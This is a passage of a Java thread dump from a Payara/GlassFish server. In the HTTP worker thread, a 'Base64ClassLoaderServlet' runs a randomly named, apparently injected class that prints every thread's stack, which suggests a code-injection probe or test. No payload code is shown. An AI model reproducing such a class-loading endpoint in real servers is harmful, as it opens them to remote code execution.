java.base@11.0.25/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.25/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"RMI Reaper" #157 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1500253c + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@11.0.25/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:349) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.generic-operation.thread-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63759f6d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.TcpServer.thread-3" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70117fbd + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(1)-192.168.215.4" #159 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.25/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.25/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.25/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@11.0.25/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1459) + at java.base@11.0.25/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1070) + at java.base@11.0.25/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.25/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.25/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1876/0x0000000100e23c40.run(Unknown Source) + at java.base@11.0.25/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #133 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754845051258" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@37789778 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Scheduled Executor Service" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36641d9a + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"log-notifier-1" #124 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1731d3ac + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda$1585/0x0000000100a08040.run(Unknown Source) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:305) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.event-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15a92693 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"EventAdminAsyncThread #5" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Keep-Alive-Timer" #132 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at java.base@11.0.25/sun.net.www.http.KeepAliveCache.run(KeepAliveCache.java:234) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.25/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"RMI GC Daemon" #158 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@107979b8 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.rmi@11.0.25/sun.rmi.transport.GC$Daemon.run(GC.java:126) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.25/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"GF Domain XML" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3480499e + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-scheduled-task" #126 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@561bdbaf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.response-1" #42 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #134 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GlassFish Kernel Main Thread" #139 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@7e44698d + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:266) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5bfb5a55 + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.25/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"RunLevelControllerThread-1754845051266" #33 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@37789778 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-4" #120 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-3" #119 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-1(4)" #94 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.25/java.lang.Thread.getAllStackTraces(Thread.java:1653) + at org.apache.commons.DYhqx.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@11.0.25/java.lang.String.valueOf(String.java:2951) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:326) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1569) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:331) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:253) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:211) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:257) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:167) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:757) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:577) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:158) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:372) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:239) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:520) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:217) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:196) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:88) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:510) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"CM Event Dispatcher" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4441ff10 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b635114 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"JMS_PROXY_default_JMS_host-kernel(1) SelectorRunner" #138 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754845051259" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@37789778 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Gogo shell" #160 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@442f639f + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.cached.thread-1" #71 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@22b1febf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"EventAdminAsyncThread #7" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"ForkJoinPool.commonPool-worker-19" #90 daemon [WAITING] on java.util.concurrent.ForkJoinPool@25dea232 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1628) + at java.base@11.0.25/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:183) + +"Executor-Service-1" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at 